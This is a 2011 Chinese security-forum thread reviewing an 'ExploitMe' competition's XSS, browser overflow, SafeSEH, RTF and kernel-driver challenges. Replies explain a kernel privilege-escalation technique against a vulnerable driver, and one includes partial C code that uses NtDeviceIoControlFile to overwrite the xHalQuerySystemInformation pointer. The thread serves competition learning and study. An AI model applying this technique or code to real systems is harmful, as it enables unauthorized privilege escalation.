首页
社区
课程
招聘
[原创]ExploitMe 比赛感言:善于搜索才是王道!
发表于: 2011-5-4 15:07 20416

[原创]ExploitMe 比赛感言:善于搜索才是王道!

2011-5-4 15:07
20416

这次比赛的题目大多来源于网上的一些利用方法,百度谷歌可以帮你解决很多问题!所以说,善于搜索资料才是一种本事!

第一题:
XSS in hidden field:http://sla.ckers.org/forum/read.php?2,17217
第二题:
http://html5sec.org/,思路来源于此,直接用<a>标签就成了
第三题:
搜索字符串看到bho0day,直接在URL中输入提示错误,再ctrl+n找到strcpy,直接定位漏洞,但有空间限制,不过足够存放shellcode了,关键是解决跳板问题,我没有写出exploit,后面也没有回头再分析了,坐等各位牛人发码。或许heap spary是最佳选择,在做此题还想用此方法,结果在写exploit 时,却一直想着找跳板,把神奇的heap spary给忘了,一根筋挂了
第四题:
过safeseh的方法参见之前hackme挑战赛上watercloud给出的方法:http://bbs.pediy.com/showthread.php?t=121314&page=6
第五题:
给的样本始终无法触发shellcode,问了好几位朋友,只有一人成功触发了,看来这样本也不够稳定啊,无法触发shellcode,就很难通过静态分析来回答那些问题了,果断放弃……若能触发,可先直接百度下该漏洞的msf模板了解漏洞原理:http://http://packetstormsecurity.org/files/view/97153/ms10_087_rtf_pfragments_bof.rb.txt,再OD定位shellcode,应该就很好搞定了。
第六题:
模仿瑞星本地提权漏洞:http://www.exploit-db.com/exploits/11281/
论坛上的轩辕小聪大牛也有在论坛上分析过:http://bbs.pediy.com/showthread.php?t=106184
第七题:
模仿 EVEREST (kerneld.sys)漏洞:http://www.ntinternals.org/ntiadv0803/ntiadv0803.html,其中最后一问,就写内核基址那问,由于MmMapIoSpace的作用,需要将虚拟地址转换为物理地址以作为输入来利用漏洞,可自己实现地址转换功能,看雪上是有人分析过,参见这里《逆向MmGetPhysicalAddress并正向》:http://bbs.pediy.com/showthread.php?t=125037,不过通过windbg查看我系统上的相关数据结构,发现跟这文章中的内容不一样,上面的代码我也没编译通过。自己也没有实现代码,或者简单点,你可以直接关闭CPU的分页机制,把物理地址直接当线性地址来利用,这只是个思路,坐等各位大牛报料。

欢迎各位大牛继续跟帖拍砖!!!


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 7
支持
分享
最新回复 (40)
雪    币: 21
活跃值: (30)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
跟顶泉哥...
2011-5-4 15:16
0
雪    币: 1370
活跃值: (2351)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
3
网上搜不到的技术,那是商业机密了吧,
2011-5-4 15:21
0
雪    币: 2307
活跃值: (1018)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
4
顶泉哥,学习
2011-5-4 15:37
0
雪    币: 233
活跃值: (285)
能力值: ( LV12,RANK:270 )
在线值:
发帖
回帖
粉丝
5
支持一下~~我是在后3道题都在网上找到资料之后,就不太想做了~~
2011-5-4 16:00
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
6
第五题的shellcode应该是出题者自己写的,问的题目也大多是关于shellcode,跟网上那些样本分析的不一样,没分析过里面的shellcode,等调查者来作答!
2011-5-4 16:07
0
雪    币: 107
活跃值: (1693)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
7
第3题 没问跳板吧  直接Heap Spray就OK啊,时间很长,超级卡。12题没做,完全不会,也不准备提交了。第5题直接调shellcode也可以得到信息,是否触发沙盒应该可以监控到程序行为,或许是触发了,你自己还没搞清楚,exploitme.doc被改写了就表示触发了。泉哥全能型人才啊,从渗透到内核,佩服中。
2011-5-4 16:26
0
雪    币: 544
活跃值: (264)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
8
第七题如果用户有SE_LOCK_MEMORY_NAME权限,可以参考MSDN中的《AWE Example》,自己申请一片物理内存,映射为虚拟地址,往里面填东西后,再把申请好的物理内存地址传给驱动去覆盖。但这种方式得在管理员下利用。

通用点的方法是:物理内存地址从0x1000开始遍历,驱动输入缓冲区0xC处填一个用户态的地址A,然后传给驱动,驱动把物理内存地址B处的值C写到指定的用户态地址A里,(C需要是用户态的地址,最好是0,因为一般情况下0地址没人用)然后将得到的C值做为起始地址分配一段内存,往里面填东西后,把B传给驱动去覆盖内核里面的某个函数D。这样当在内核里面调用这个函数时,实际上访问的是在用户态下分配的C处的代码。

这种方法不需要考虑地址的转换。
2011-5-4 17:18
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
9
搞html 溢出的,大多想到的利用方试还是heap spary吧,呵呵,不过当时在做题前有想到过这方法,但分析时想直接回跳到前方的shellcode,结果没找到指令,那时都凌晨了就放弃了,当时确实把heap spary 给忘记了……

关于第5题确实是没触发,我早就监控了,我有问朋友了,触 发的话会生成tmp.doc的,我的没有执行shellcode,有个朋友甚至直接崩溃掉了,没触发sh。我的exploitme.doc也没改写,我有监控进程行为的。
2011-5-4 17:20
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
10
我指的是最后一题的最后一问没搞定!就是写内核基址那个,我原本还想暴力搜索物理内存,找到那串数据被映射到的物理地址,但等了半个多小时还没找到,求KiDebug指点……
但最后一题我是提权了,下面是我用的方法,KiDebug大牛指点下:
					 // 向地址0x0处写入数据0x00000000,
               ULONG InternalBuffer = 0;
				SystemBuffer[0] = sizeof(ULONG);
				SystemBuffer[2] = 0;
				SystemBuffer[3] = (ULONG)&InternalBuffer;
    
				for(i=0; i<PAGE_SIZE; i++)
				{
					SystemBuffer[1] = i;

					NtStatus = NtDeviceIoControlFile(
                                         DeviceHandle,
                                         NULL,
                                         NULL,
                                         NULL,
                                         &IoStatusBlock,
                                         IOCTL_CODE,
                                         SystemBuffer,
                                         16,
                                         SystemBuffer,
                                         16);
            
					if(NtStatus)
					{
						printf(" [*] NtStatus of NtDeviceIoControlFile - 0x%.8X\n", NtStatus);
						return NtStatus;
					}

					if(InternalBuffer == 0x00000000)
						break;
				}		

				// 利用漏洞将0x0处的4字节数据(0x00000000)写入xHalQuerySystemInformation函数地址
				SystemBuffer[0] = sizeof(ULONG);
				SystemBuffer[1] = i;
				SystemBuffer[2] = 0;
				SystemBuffer[3] = (ULONG)xHalQuerySystemInformation;

                NtStatus = NtDeviceIoControlFile(
                                                 DeviceHandle,			// FileHandle
                                                 NULL,					// Event
                                                 NULL,					// ApcRoutine
                                                 NULL,					// ApcContext
                                                 &IoStatusBlock,		// IoStatusBlock
                                                 IOCTL_CODE,			// IoControlCode
                                                 SystemBuffer,			// InputBuffer
                                                 16,					// InputBufferLength
                                                 SystemBuffer,			// OutputBuffer
                                                 16);					// OutBufferLength
2011-5-4 17:37
0
雪    币: 596
活跃值: (449)
能力值: ( LV12,RANK:320 )
在线值:
发帖
回帖
粉丝
11
膜拜我楼上
2011-5-4 17:38
0
雪    币: 678
活跃值: (101)
能力值: ( LV2,RANK:150 )
在线值:
发帖
回帖
粉丝
12
善于搜索资料才是一种本事!
看来谁搜索到了谁就能够解决一定的问题了。这对于比赛来说并不好。但现实就是这样。
2011-5-4 18:34
0
雪    币: 233
活跃值: (285)
能力值: ( LV12,RANK:270 )
在线值:
发帖
回帖
粉丝
13
看了讨论,感觉自己错过了一些很精彩的东西~~

KiDebug说的"C需要是用户态的地址,最好是0,因为一般情况下0地址没人用",在Windows中内存地址从0x0000到0xffff不是所谓的无效断点分配分区么?是不能被使用的?额,核编上说的是win2000,感觉Windows后续的系统也应该保留了这点吧?
2011-5-4 20:05
0
雪    币: 14
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
第二题那个<a> tag 的方法需要用户点击吗?
2011-5-4 22:15
0
雪    币: 544
活跃值: (264)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
15
哎,大牛谈不上,我只是个小菜牛。。。。

     // 向地址0x0处写入数据0x00000000,
     ULONG InternalBuffer = 0;
        SystemBuffer[0] = sizeof(ULONG);
        SystemBuffer[2] = 0;
        SystemBuffer[3] = (ULONG)&InternalBuffer;
这儿你的理解有误。假设物理地址 i 处保存的数据为X,驱动将把X写到InternalBuffer这个变量里面。接下来判断如果InternalBuffer为0,那么就说明物理地址 i 处保存的也是0。然后再次把 物理地址 i 传给驱动,把它里面保存的0用来覆盖掉xHalQuerySystemInformation

“写内核基址”不需要再靠那个驱动去改,既然能进内核了,那就想改啥就改啥了,直接在shellcode里面改ntoskrnl前面的0x10个字节。


VirtualAlloc调用VirtualAllocEx,在VirtualAllocEx里面会比较传入的起始地址是不是小于BaseStaticServerData+0x13C处的值,这个值是0x10000,如果小于的话就返回失败,大于的话继续调用NtAllocateVirtualMemory。所以要分配从0开始的一段内存就得直接调用NtAllocateVirtualMemory,并且传入的起始地址要大于0,像1、2、3、4…都可以,0的话Windows就自作主张地随便选个地方分配,就不是从0开始了。内存按一整页开始分配,传入一页中间的一个地址(1、2、3、4…),分配好了后就返回页的起始地址,也就是0。

传份我写的源代码和EXE
上传的附件:
  • 7.rar (17.55kb,18次下载)
2011-5-4 22:23
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
16
[QUOTE=KiDebug;955016]哎,大牛谈不上,我只是个小菜牛。。。。

     // 向地址0x0处写入数据0x00000000,
     ULONG InternalBuffer = 0;
        SystemBuffer[0] = sizeof(ULONG);
        SystemBuffe...[/QUOTE]

看了上述讨论,发觉这次比赛犯了一些很低级的错误:heap spary 忘记用上了,进驱动了又不晓得向内核基址写入数据,不过这也是算是第一次写提权程序,都是改网上的代码,算是一次学习了!
2011-5-4 22:53
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
17
[QUOTE=KiDebug;955016]哎,大牛谈不上,我只是个小菜牛。。。。

     // 向地址0x0处写入数据0x00000000,
     ULONG InternalBuffer = 0;
        SystemBuffer[0] = sizeof(ULONG);
        SystemBuffe...[/QUOTE]

KiDebug牛的代码还真是精简啊,学习下!!!
内核提权利用我也是这些天狂补,用来应付这次比赛的,主要就是看黑防上面的文章,比赛写的代码也都是修改上面的代码,也算提权了,但确实忽略很多细节,犯了不少低级错误!
KiDebug牛第5题有研究没,我这边无法触发shellcode,放弃了,你这次应该有提交答案吧,有的话顺便也贴出来吧,哈哈……
2011-5-4 22:56
0
雪    币: 544
活跃值: (264)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
18
对XSS、App Exploit Me这些不感兴趣
然后又看到6、7两个在网上一搜一大把,然后就懒得去做,啥都没提交。
2011-5-4 23:20
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
19
太多人如此了,搞脚本的,不搞app exploit,搞app exploit 又不搞内核,术业有专攻嘛,呵呵
这次比赛整体都不是很难,只是考得要求比较全面些而已……
2011-5-4 23:25
0
雪    币: 472
活跃值: (52)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
20
你是不是2003 和 2007 一起安装了,
我一开始也是触发不了,后来卸载了2007就可以触发了,
如果其他情况就不清楚了
2011-5-4 23:51
0
雪    币: 253
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
不是写SSDT会蓝屏吗?我这一直蓝屏啊 你们不蓝?
2011-5-4 23:58
0
雪    币: 27
活跃值: (127)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
22
跟不上泉哥的脚步啊
2011-5-5 00:52
0
雪    币: 123
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
厉害....学习了.....
2011-5-5 07:34
0
雪    币: 678
活跃值: (101)
能力值: ( LV2,RANK:150 )
在线值:
发帖
回帖
粉丝
24
泉哥三个方向都通吃。不错。
2011-5-5 08:43
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
25
我的虚拟机xp是刚安装不久,之前没有安装任何office,我安装2003和sp3补丁后,对下版本号是正确的,可是还是无法触法shellcode
2011-5-5 09:07
0
游客
登录 | 注册 方可回帖
返回
//